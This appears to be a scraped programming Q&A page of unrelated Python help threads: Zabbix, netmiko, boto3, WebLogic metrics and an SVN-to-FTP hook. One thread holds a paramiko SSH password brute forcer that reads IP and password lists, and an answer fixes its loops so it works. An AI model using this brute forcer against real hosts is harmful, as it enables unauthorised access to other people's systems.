I am using the pyzabbix module to query some data through the Zabbix API. The script is reading through a text file that I specify using the -f switch and is supposed to return each line with data or that the host does not exist but when I run it, it only returns the last line of the text file.
Example data file would be:
server1
server2
And it would only return:
host server2 exist, hostid : 4517, group: [u'Servergroup1', u'Servergroup2']
My code is:
import optparse
import sys
import traceback
from getpass import getpass
from core import ZabbixAPI
def get_options():
usage = "usage: %prog [options]"
OptionParser = optparse.OptionParser
parser = OptionParser(usage)
parser.add_option("-s","--server",action="store",type="string",\
dest="server",help="(REQUIRED)Zabbix Server URL.")
parser.add_option("-u", "--username", action="store", type="string",\
dest="username",help="(REQUIRED)Username (Will prompt if not given).")
parser.add_option("-p", "--password", action="store", type="string",\
dest="password",help="(REQUIRED)Password (Will prompt if not given).")
parser.add_option("-H","--hostname",action="store",type="string",\
dest="hostname",help="(REQUIRED)hostname for hosts.")
parser.add_option("-f","--file",dest="filename",\
metavar="FILE",help="Load values from input file. Specify - for standard input Each line of file contains whitespace delimited: <hostname>")
options,args = parser.parse_args()
if not options.server:
options.server = raw_input('server http:')
if not options.username:
options.username = raw_input('Username:')
if not options.password:
options.password = getpass()
return options, args
def errmsg(msg):
sys.stderr.write(msg + "\n")
sys.exit(-1)
if __name__ == "__main__":
options, args = get_options()
zapi = ZabbixAPI(options.server,options.username, options.password)
hostname = options.hostname
file = options.filename
if file:
with open(file,"r") as f:
host_list = f.readlines()
for hostname in host_list:
hostname = hostname.rstrip()
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
#print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
print "host %s exist, hostid : %s, group: %s" % (hostname, hostid, host_group_list)
except:
print "host not exist: %s" %hostname
else:
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
except:
print "host not exist: %s" %hostname
Your try block has incorrect indentation level.
Instead of
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
It should be
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
Your try block, which I think you want executed for each hostname, is not inside your for loop. So it is only executed after the for loop completes, at which point you have the hostname from the last line of the file.
Simplifying your code should make the problem easier to see:
for hostname in host_list:
hostname = hostname.rstrip()
try:
do_stuff(hostname)
except:
print "host not exist: %s" %hostname
You're only doing the stuff in the try block once, with the last hostname that you found in the list.
To fix this, make a list of hostnames and then iterate over that list, performing your computations for each hostname
You can prevent this sort of issue by simplifying your code, in this case by extracting the procedure for processing a hostname, to a well-named function (ie, not do_stuff :) ). This will make the overall structure of the loop more readable, and will make the execution flow more obvious.
Related
I have the following code that reads a CSV with a list of hostnames, and runs 2 commands.
I need to change this so that the CSV file it receives has 2 columns, one with the hostname, and another with the corresponding command to be inserted in that router.
Hostname
Comand
CPE_1111
sh ip int br
CPE_2222
sh run
etc
(...)
(...)
nodenum=1
f=open('routers.csv', 'r') #File with Hostnames
c=f.read()
file_as_list = c.splitlines()
with open('Output.txt','w') as f: #File with output
logf = open("error.csv", "a") #Logfile
loga = csv.writer(logf)
loga.writerow(["Hostname"])
for i in file_as_list :
print ("Node", nodenum, "...Checking IP Address...", i)
try:
Connection = netmiko.ConnectHandler(ip=i, device_type="cisco_ios" , username=raw_input("Enter your Username:"), password=getpass.getpass(), verbose=False)
except:
try:
print("Cannot connect via SSH. Trying Telnet")
Connection = netmiko.ConnectHandler(ip=i, device_type="cisco_ios_telnet" , username=raw_input("Enter your Username:"), password=getpass.getpass(), verbose=False)
except:
print("SSH and Telnet Failed")
print("")
now = str(datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
loga.writerow([i])
nodenum = nodenum+1
continue
hostname = (Connection.send_command("show run | include hostname"))
cellular = (Connection.send_command("sh ip int brief"))
Connection.disconnect
(...)
Your answer lies with how the csv is read. You can use csv.DictReader() to read each row and convert it to a dictionary.
import csv
with open(file="routers.csv", mode="rt") as f:
next(f)
lst = csv.DictReader(f=f, fieldnames=["ip", "cmd"])
ips_cmds = list(lst)
for ip_cmd in ips_cmds:
print("Hostname:", ip_cmd["ip"])
print("Command:", ip_cmd["cmd"], end="\n\n")
# Hostname: CPE_1111
# Command: show ip interface brief
# Hostname: CPE_2222
# Command: show running-config
Then in the for loop where you connect to each router, you can select the value you need from the keys specified in fieldnames.
conn = ConnectHandler(
device_type="cisco_ios",
ip=ip_cmd["ip"],
username=input("Username: "),
password=getpass(prompt="Password: "),
secret=getpass(prompt="Enable Secret: "),
fast_cli=False,
)
hostname = conn.send_command(command_string=ip_cmd["cmd"])
Don't forget to add the parentheses for disconnect() function to be executed.
conn.disconnect()
I have been trying to incorporate boto3 into my AWS workflow after using fabric for a little while. Just started learning Python so apologies in advance for some of these questions. I searched and debugged what I could with the below script as most of the errors seemed prior seemed to be with this being written in Python2 and I am using Python3 on OSX. Sorry for the formatting issues as well tried to get the script into a code block for here.
#!/usr/bin/env python
import boto3
import sys
import argparse
import paramiko
def list_instances(Filter):
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=Filter)
columns_format = ("%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s")
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
num = 1
hosts = []
name = {}
for i in instances:
try:
name = (item for item in i.tags if item["Key"] == "Name" ).next()
except StopIteration:
name['Value'] = ''
print (columns_format) % (
num,
name['Value'],
i.public_ip_address,
i.private_ip_address,
i.id,
i.instance_type,
i.vpc_id,
i.state['Name']
)
num = num + 1
item={'id': i.id, 'ip': i.public_ip_address, 'hostname':
name['Value'], 'status': i.state['Name'],}
hosts.append(item)
return hosts
def execute_cmd(host,user,cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=user)
stdin, stdout, stderr = ssh.exec_command(cmd)
stdout=stdout.read()
stderr=stderr.read()
ssh.close()
return stdout,stderr
except paramiko.AuthenticationException as exception:
return "Authentication Error trying to connect into the host %s with the user %s. Plese review your keys" % (host, user), e
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--name',
help="Filter result by name.")
parser.add_argument('-t', '--type',
help="Filer result by type.")
parser.add_argument('-s', '--status',
help="Filter result by status." )
parser.add_argument('-e', '--execute',
help="Execute a command on instances")
parser.add_argument('-u', '--user', default="ubuntu",
help="User to run commands if -e option is used.\
Ubuntu user is used by default")
arg = parser.parse_args()
# Default filter if no options are specified
filter=[]
if arg.name:
filter.append({'Name': 'tag-value', 'Values': ["*" + arg.name + "*"]})
if arg.type:
filter.append({'Name': 'instance-type', 'Values': ["*" + arg.type + "*"]})
if arg.status:
filter.append({'Name': 'instance-state-name', 'Values': ["*" + arg.status + "*"]})
hosts=list_instances(filter)
names = ""
if arg.execute:
for item in hosts:
names = names + " " + item["hostname"] + "(" + item["id"] + ")"
print ("\nCommand to execute: %s") % arg.execute
print ("Executed by: %s") % arg.user
print ("Hosts list: %s\n") % names
for item in hosts:
if item["status"] == 'running':
print ("::: %s (%s)") % (item["hostname"], item["id"])
stdout,stderr = execute_cmd(item["ip"], arg.user, arg.execute)
print (stdout)
print (stderr)
else:
print ("::: %s (%s) is not running (command execution skiped)") % (item["hostname"], item["id"])
if __name__ == '__main__':
sys.exit(main())
Excuted from terminal: python ec2-instances.py
and get the below output:
%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s
Traceback (most recent call last):
File "ec2-instances.py", line 97, in <module>
sys.exit(main())
File "ec2-instances.py", line 78, in main
hosts=list_instances(filter)
File "ec2-instances.py", line 12, in list_instances
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
TypeError: 'NoneType' object is not callable
Thanks in advance for the help!
I think your problem is just that you can't call print like this:
print (columns_format) ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status")
because print(arguments) (arguments) tries to call a function
try to replace it with (i guess the % just got lost)
print ((columns_format) % ("num", "Name", "Public IP", "Private IP", "ID",
"Type", "VPC", "Status"))
The following script is an extract from
https://github.com/RittmanMead/obi-metrics-agent/blob/master/obi-metrics-agent.py
The script is written in jython & it hits the weblogic admin console to extract metrics
The problem is it runs only once and does not loop infinitely
Here's the script that I've extracted from the original for my purpose:
import calendar, time
import sys
import getopt
print '---------------------------------------'
# Check the arguments to this script are as expected.
# argv[0] is script name.
argLen = len(sys.argv)
if argLen -1 < 2:
print "ERROR: got ", argLen -1, " args, must be at least two."
print '$FMW_HOME/oracle_common/common/bin/wlst.sh obi-metrics-agent.py <AdminUserName> <AdminPassword> [<AdminServer_t3_url>] [<Carbon|InfluxDB>] [<target host>] [<target port>] [targetDB influx db>'
exit()
outputFormat='CSV'
url='t3://localhost:7001'
targetHost='localhost'
targetDB='obi'
targetPort='8086'
try:
wls_user = sys.argv[1]
wls_pw = sys.argv[2]
url = sys.argv[3]
outputFormat=sys.argv[4]
targetHost=sys.argv[5]
targetPort=sys.argv[6]
targetDB=sys.argv[7]
except:
print ''
print wls_user, wls_pw,url, outputFormat,targetHost,targetPort,targetDB
now_epoch = calendar.timegm(time.gmtime())*1000
if outputFormat=='InfluxDB':
import httplib
influx_msgs=''
connect(wls_user,wls_pw,url)
results = displayMetricTables('Oracle_BI*','dms_cProcessInfo')
while True:
for table in results:
tableName = table.get('Table')
rows = table.get('Rows')
rowCollection = rows.values()
iter = rowCollection.iterator()
while iter.hasNext():
row = iter.next()
rowType = row.getCompositeType()
keys = rowType.keySet()
keyIter = keys.iterator()
inst_name= row.get('Name').replace(' ','-')
try:
server= row.get('Servername').replace(' ','-').replace('/','_')
except:
try:
server= row.get('ServerName').replace(' ','-').replace('/','_')
except:
server='unknown'
try:
host= row.get('Host').replace(' ','-')
except:
host=''
while keyIter.hasNext():
columnName = keyIter.next()
value = row.get(columnName )
if columnName.find('.value')>0:
metric_name=columnName.replace('.value','')
if value is not None:
if outputFormat=='InfluxDB':
influx_msg= ('%s,server=%s,host=%s,metric_group=%s,metric_instance=%s value=%s %s') % (metric_name,server,host,tableName,inst_name, value,now_epoch*1000000)
influx_msgs+='\n%s' % influx_msg
conn = httplib.HTTPConnection('%s:%s' % (targetHost,targetPort))
## TODO pretty sure should be urlencoding this ...
a=conn.request("POST", ("/write?db=%s" % targetDB), influx_msg)
r=conn.getresponse()
if r.status != 204:
print 'Failed to send to InfluxDB! Error %s Reason %s' % (r.status,r.reason)
print influx_msg
#sys.exit(2)
else:
print 'Skipping None value %s,server=%s,host=%s,metric_group=%s,metric_instance=%s value=%s %s' % (metric_name,server,host,tableName,inst_name, value,now_epoch*1000000)
I've tried to use the While loop, but that just stopped the code from exiting and not re-looping
What I want to achieve is to loop it infinitely post connection to weblogic
i.e. after this line
connect(wls_user,wls_pw,url)
and perhaps sleep for 5 seconds before re-running
Any and all help will be appreciated
Thanks
P
You can use this kind of condition for the loop :
mainLoop = 'true'
while mainLoop == 'true' :
and this for the pause between iterations :
java.lang.Thread.sleep(3 * 1000)
I've been coding a small SSH brute forcer, to understand the paramiko module. However while going through the text file to see each password it is only testing out the last password in the text file. Am I using the correct loop? How would I use the for loop in this situation then?
import paramiko
UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
pwd = open(pass_file, "r")
ips = open(ip_file, "r")
def attempt():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
while Found != 5:
global UserName
global port
try:
ssh.connect(ip, port, username=UserName, password=Passwords)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, Passwords)
else:
print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
You are getting each and every line and replace the previous value in ip and passwords with the currently read value. Instead, if the number of ips and passwords are relatively smaller, you can do
count = 0
for ip in ips:
for pwd in open(pass_file, "r"):
try:
ssh.connect(ip, port, username=UserName, password=pwd)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, pwd)
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
count += 1
if count == 5:
return
Your two for loops simply iterate through each object and update the ip and Password variables each time, so that when they have finished the variables refer to the last values from the loop.
However it's not at all clear what you are trying to do with those variables, so I can't tell you how to fix it. Did you want to run the rest of the script once for each iteration? Or did you want to create a list of all the elements, then iterate through that?
I'm attempting to debug a Subversion post-commit hook that calls some python scripts. What I've been able to determine so far is that when I run post-commit.bat manually (I've created a wrapper for it to make it easier) everything succeeds, but when SVN runs it one particular step doesn't work.
We're using CollabNet SVNServe, which I know from the documentation removes all environment variables. This had caused some problems earlier, but shouldn't be an issue now.
Before Subversion calls a hook script, it removes all variables - including $PATH on Unix, and %PATH% on Windows - from the environment. Therefore, your script can only run another program if you spell out that program's absolute name.
The relevant portion of post-commit.bat is:
echo -------------------------- >> c:\svn-repos\company\hooks\svn2ftp.out.log
set SITENAME=staging
set SVNPATH=branches/staging/wwwroot/
"C:\Python3\python.exe" C:\svn-repos\company\hooks\svn2ftp.py ^
--svnUser="svnusername" ^
--svnPass="svnpassword" ^
--ftp-user=ftpuser ^
--ftp-password=ftppassword ^
--ftp-remote-dir=/ ^
--access-url=svn://10.0.100.6/company ^
--status-file="C:\svn-repos\company\hooks\svn2ftp-%SITENAME%.dat" ^
--project-directory=%SVNPATH% "staging.company.com" %1 %2 >> c:\svn-repos\company\hooks\svn2ftp.out.log
echo -------------------------- >> c:\svn-repos\company\hooks\svn2ftp.out.log
When I run post-commit.bat manually, for example: post-commit c:\svn-repos\company 12345, I see output like the following in svn2ftp.out.log:
--------------------------
args1: c:\svn-repos\company
args0: staging.company.com
abspath: c:\svn-repos\company
project_dir: branches/staging/wwwroot/
local_repos_path: c:\svn-repos\company
getting youngest revision...
done, up-to-date
--------------------------
However, when I commit something to the repo and it runs automatically, the output is:
--------------------------
--------------------------
svn2ftp.py is a bit long, so I apologize but here goes. I'll have some notes/disclaimers about its contents below it.
#!/usr/bin/env python
"""Usage: svn2ftp.py [OPTION...] FTP-HOST REPOS-PATH
Upload to FTP-HOST changes committed to the Subversion repository at
REPOS-PATH. Uses svn diff --summarize to only propagate the changed files
Options:
-?, --help Show this help message.
-u, --ftp-user=USER The username for the FTP server. Default: 'anonymous'
-p, --ftp-password=P The password for the FTP server. Default: '#'
-P, --ftp-port=X Port number for the FTP server. Default: 21
-r, --ftp-remote-dir=DIR The remote directory that is expected to resemble the
repository project directory
-a, --access-url=URL This is the URL that should be used when trying to SVN
export files so that they can be uploaded to the FTP
server
-s, --status-file=PATH Required. This script needs to store the last
successful revision that was transferred to the
server. PATH is the location of this file.
-d, --project-directory=DIR If the project you are interested in sending to
the FTP server is not under the root of the
repository (/), set this parameter.
Example: -d 'project1/trunk/'
This should NOT start with a '/'.
2008.5.2 CKS
Fixed possible Windows-related bug with tempfile, where the script didn't have
permission to write to the tempfile. Replaced this with a open()-created file
created in the CWD.
2008.5.13 CKS
Added error logging. Added exception for file-not-found errors when deleting files.
2008.5.14 CKS
Change file open to 'rb' mode, to prevent Python's universal newline support from
stripping CR characters, causing later comparisons between FTP and SVN to report changes.
"""
try:
import sys, os
import logging
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s %(levelname)s %(message)s',
filename='svn2ftp.debug.log',
filemode='a'
)
console = logging.StreamHandler()
console.setLevel(logging.ERROR)
logging.getLogger('').addHandler(console)
import getopt, tempfile, smtplib, traceback, subprocess
from io import StringIO
import pysvn
import ftplib
import inspect
except Exception as e:
logging.error(e)
#capture the location of the error
frame = inspect.currentframe()
stack_trace = traceback.format_stack(frame)
logging.debug(stack_trace)
print(stack_trace)
#end capture
sys.exit(1)
#defaults
host = ""
user = "anonymous"
password = "#"
port = 21
repo_path = ""
local_repos_path = ""
status_file = ""
project_directory = ""
remote_base_directory = ""
toAddrs = "developers#company.com"
youngest_revision = ""
def email(toAddrs, message, subject, fromAddr='autonote#company.com'):
headers = "From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n" % (fromAddr, toAddrs, subject)
message = headers + message
logging.info('sending email to %s...' % toAddrs)
server = smtplib.SMTP('smtp.company.com')
server.set_debuglevel(1)
server.sendmail(fromAddr, toAddrs, message)
server.quit()
logging.info('email sent')
def captureErrorMessage(e):
sout = StringIO()
traceback.print_exc(file=sout)
errorMessage = '\n'+('*'*80)+('\n%s'%e)+('\n%s\n'%sout.getvalue())+('*'*80)
return errorMessage
def usage_and_exit(errmsg):
"""Print a usage message, plus an ERRMSG (if provided), then exit.
If ERRMSG is provided, the usage message is printed to stderr and
the script exits with a non-zero error code. Otherwise, the usage
message goes to stdout, and the script exits with a zero
errorcode."""
if errmsg is None:
stream = sys.stdout
else:
stream = sys.stderr
print(__doc__, file=stream)
if errmsg:
print("\nError: %s" % (errmsg), file=stream)
sys.exit(2)
sys.exit(0)
def read_args():
global host
global user
global password
global port
global repo_path
global local_repos_path
global status_file
global project_directory
global remote_base_directory
global youngest_revision
try:
opts, args = getopt.gnu_getopt(sys.argv[1:], "?u:p:P:r:a:s:d:SU:SP:",
["help",
"ftp-user=",
"ftp-password=",
"ftp-port=",
"ftp-remote-dir=",
"access-url=",
"status-file=",
"project-directory=",
"svnUser=",
"svnPass="
])
except getopt.GetoptError as msg:
usage_and_exit(msg)
for opt, arg in opts:
if opt in ("-?", "--help"):
usage_and_exit()
elif opt in ("-u", "--ftp-user"):
user = arg
elif opt in ("-p", "--ftp-password"):
password = arg
elif opt in ("-SU", "--svnUser"):
svnUser = arg
elif opt in ("-SP", "--svnPass"):
svnPass = arg
elif opt in ("-P", "--ftp-port"):
try:
port = int(arg)
except ValueError as msg:
usage_and_exit("Invalid value '%s' for --ftp-port." % (arg))
if port < 1 or port > 65535:
usage_and_exit("Value for --ftp-port must be a positive integer less than 65536.")
elif opt in ("-r", "--ftp-remote-dir"):
remote_base_directory = arg
elif opt in ("-a", "--access-url"):
repo_path = arg
elif opt in ("-s", "--status-file"):
status_file = os.path.abspath(arg)
elif opt in ("-d", "--project-directory"):
project_directory = arg
if len(args) != 3:
print(str(args))
usage_and_exit("host and/or local_repos_path not specified (" + len(args) + ")")
host = args[0]
print("args1: " + args[1])
print("args0: " + args[0])
print("abspath: " + os.path.abspath(args[1]))
local_repos_path = os.path.abspath(args[1])
print('project_dir:',project_directory)
youngest_revision = int(args[2])
if status_file == "" : usage_and_exit("No status file specified")
def main():
global host
global user
global password
global port
global repo_path
global local_repos_path
global status_file
global project_directory
global remote_base_directory
global youngest_revision
read_args()
#repository,fs_ptr
#get youngest revision
print("local_repos_path: " + local_repos_path)
print('getting youngest revision...')
#youngest_revision = fs.youngest_rev(fs_ptr)
assert youngest_revision, "Unable to lookup youngest revision."
last_sent_revision = get_last_revision()
if youngest_revision == last_sent_revision:
# no need to continue. we should be up to date.
print('done, up-to-date')
return
if last_sent_revision or youngest_revision < 10:
# Only compare revisions if the DAT file contains a valid
# revision number. Otherwise we risk waiting forever while
# we parse and uploading every revision in the repo in the case
# where a repository is retroactively configured to sync with ftp.
pysvn_client = pysvn.Client()
pysvn_client.callback_get_login = get_login
rev1 = pysvn.Revision(pysvn.opt_revision_kind.number, last_sent_revision)
rev2 = pysvn.Revision(pysvn.opt_revision_kind.number, youngest_revision)
summary = pysvn_client.diff_summarize(repo_path, rev1, repo_path, rev2, True, False)
print('summary len:',len(summary))
if len(summary) > 0 :
print('connecting to %s...' % host)
ftp = FTPClient(host, user, password)
print('connected to %s' % host)
ftp.base_path = remote_base_directory
print('set remote base directory to %s' % remote_base_directory)
#iterate through all the differences between revisions
for change in summary :
#determine whether the path of the change is relevant to the path that is being sent, and modify the path as appropriate.
print('change path:',change.path)
ftp_relative_path = apply_basedir(change.path)
print('ftp rel path:',ftp_relative_path)
#only try to sync path if the path is in our project_directory
if ftp_relative_path != "" :
is_file = (change.node_kind == pysvn.node_kind.file)
if str(change.summarize_kind) == "delete" :
print("deleting: " + ftp_relative_path)
try:
ftp.delete_path("/" + ftp_relative_path, is_file)
except ftplib.error_perm as e:
if 'cannot find the' in str(e) or 'not found' in str(e):
# Log, but otherwise ignore path-not-found errors
# when deleting, since it's not a disaster if the file
# we want to delete is already gone.
logging.error(captureErrorMessage(e))
else:
raise
elif str(change.summarize_kind) == "added" or str(change.summarize_kind) == "modified" :
local_file = ""
if is_file :
local_file = svn_export_temp(pysvn_client, repo_path, rev2, change.path)
print("uploading file: " + ftp_relative_path)
ftp.upload_path("/" + ftp_relative_path, is_file, local_file)
if is_file :
os.remove(local_file)
elif str(change.summarize_kind) == "normal" :
print("skipping 'normal' element: " + ftp_relative_path)
else :
raise str("Unknown change summarize kind: " + str(change.summarize_kind) + ", path: " + ftp_relative_path)
ftp.close()
#write back the last revision that was synced
print("writing last revision: " + str(youngest_revision))
set_last_revision(youngest_revision) # todo: undo
def get_login(a,b,c,d):
#arguments don't matter, we're always going to return the same thing
try:
return True, "svnUsername", "svnPassword", True
except Exception as e:
logging.error(e)
#capture the location of the error
frame = inspect.currentframe()
stack_trace = traceback.format_stack(frame)
logging.debug(stack_trace)
#end capture
sys.exit(1)
#functions for persisting the last successfully synced revision
def get_last_revision():
if os.path.isfile(status_file) :
f=open(status_file, 'r')
line = f.readline()
f.close()
try: i = int(line)
except ValueError:
i = 0
else:
i = 0
f = open(status_file, 'w')
f.write(str(i))
f.close()
return i
def set_last_revision(rev) :
f = open(status_file, 'w')
f.write(str(rev))
f.close()
#augmented ftp client class that can work off a base directory
class FTPClient(ftplib.FTP) :
def __init__(self, host, username, password) :
self.base_path = ""
self.current_path = ""
ftplib.FTP.__init__(self, host, username, password)
def cwd(self, path) :
debug_path = path
if self.current_path == "" :
self.current_path = self.pwd()
print("pwd: " + self.current_path)
if not os.path.isabs(path) :
debug_path = self.base_path + "<" + path
path = os.path.join(self.current_path, path)
elif self.base_path != "" :
debug_path = self.base_path + ">" + path.lstrip("/")
path = os.path.join(self.base_path, path.lstrip("/"))
path = os.path.normpath(path)
#by this point the path should be absolute.
if path != self.current_path :
print("change from " + self.current_path + " to " + debug_path)
ftplib.FTP.cwd(self, path)
self.current_path = path
else :
print("staying put : " + self.current_path)
def cd_or_create(self, path) :
assert os.path.isabs(path), "absolute path expected (" + path + ")"
try: self.cwd(path)
except ftplib.error_perm as e:
for folder in path.split('/'):
if folder == "" :
self.cwd("/")
continue
try: self.cwd(folder)
except:
print("mkd: (" + path + "):" + folder)
self.mkd(folder)
self.cwd(folder)
def upload_path(self, path, is_file, local_path) :
if is_file:
(path, filename) = os.path.split(path)
self.cd_or_create(path)
# Use read-binary to avoid universal newline support from stripping CR characters.
f = open(local_path, 'rb')
self.storbinary("STOR " + filename, f)
f.close()
else:
self.cd_or_create(path)
def delete_path(self, path, is_file) :
(path, filename) = os.path.split(path)
print("trying to delete: " + path + ", " + filename)
self.cwd(path)
try:
if is_file :
self.delete(filename)
else:
self.delete_path_recursive(filename)
except ftplib.error_perm as e:
if 'The system cannot find the' in str(e) or '550 File not found' in str(e):
# Log, but otherwise ignore path-not-found errors
# when deleting, since it's not a disaster if the file
# we want to delete is already gone.
logging.error(captureErrorMessage(e))
else:
raise
def delete_path_recursive(self, path):
if path == "/" :
raise "WARNING: trying to delete '/'!"
for node in self.nlst(path) :
if node == path :
#it's a file. delete and return
self.delete(path)
return
if node != "." and node != ".." :
self.delete_path_recursive(os.path.join(path, node))
try: self.rmd(path)
except ftplib.error_perm as msg :
sys.stderr.write("Error deleting directory " + os.path.join(self.current_path, path) + " : " + str(msg))
# apply the project_directory setting
def apply_basedir(path) :
#remove any leading stuff (in this case, "trunk/") and decide whether file should be propagated
if not path.startswith(project_directory) :
return ""
return path.replace(project_directory, "", 1)
def svn_export_temp(pysvn_client, base_path, rev, path) :
# Causes access denied error. Couldn't deduce Windows-perm issue.
# It's possible Python isn't garbage-collecting the open file-handle in time for pysvn to re-open it.
# Regardless, just generating a simple filename seems to work.
#(fd, dest_path) = tempfile.mkstemp()
dest_path = tmpName = '%s.tmp' % __file__
exportPath = os.path.join(base_path, path).replace('\\','/')
print('exporting %s to %s' % (exportPath, dest_path))
pysvn_client.export( exportPath,
dest_path,
force=False,
revision=rev,
native_eol=None,
ignore_externals=False,
recurse=True,
peg_revision=rev )
return dest_path
if __name__ == "__main__":
logging.info('svnftp.start')
try:
main()
logging.info('svnftp.done')
except Exception as e:
# capture the location of the error for debug purposes
frame = inspect.currentframe()
stack_trace = traceback.format_stack(frame)
logging.debug(stack_trace[:-1])
print(stack_trace)
# end capture
error_text = '\nFATAL EXCEPTION!!!\n'+captureErrorMessage(e)
subject = "ALERT: SVN2FTP Error"
message = """An Error occurred while trying to FTP an SVN commit.
repo_path = %(repo_path)s\n
local_repos_path = %(local_repos_path)s\n
project_directory = %(project_directory)s\n
remote_base_directory = %(remote_base_directory)s\n
error_text = %(error_text)s
""" % globals()
email(toAddrs, message, subject)
logging.error(e)
Notes/Disclaimers:
I have basically no python training so I'm learning as I go and spending lots of time reading docs to figure stuff out.
The body of get_login is in a try block because I was getting strange errors saying there was an unhandled exception in callback_get_login. Never figured out why, but it seems fine now. Let sleeping dogs lie, right?
The username and password for get_login are currently hard-coded (but correct) just to eliminate variables and try to change as little as possible at once. (I added the svnuser and svnpass arguments to the existing argument parsing.)
So that's where I am. I can't figure out why on earth it's not printing anything into svn2ftp.out.log. If you're wondering, the output for one of these failed attempts in svn2ftp.debug.log is:
2012-09-06 15:18:12,496 INFO svnftp.start
2012-09-06 15:18:12,496 INFO svnftp.done
And it's no different on a successful run. So there's nothing useful being logged.
I'm lost. I've gone way down the rabbit hole on this one, and don't know where to go from here. Any ideas?
It looks as if you are overwriting your logging level. Try setting both to DEBUG and see what happens.
import sys, os
import logging
logging.basicConfig(
level=logging.DEBUG, # DEBUG here
format='%(asctime)s %(levelname)s %(message)s',
filename='svn2ftp.debug.log',
filemode='a'
)
console = logging.StreamHandler()
console.setLevel(logging.ERROR) # ERROR here
logging.getLogger('').addHandler(console)
Additionally you are printing in some places and logging in others. I am not sure that the logging library automatically redirects sys.stdout to the logging console. I would convert all print statements to logging statements to be consistent.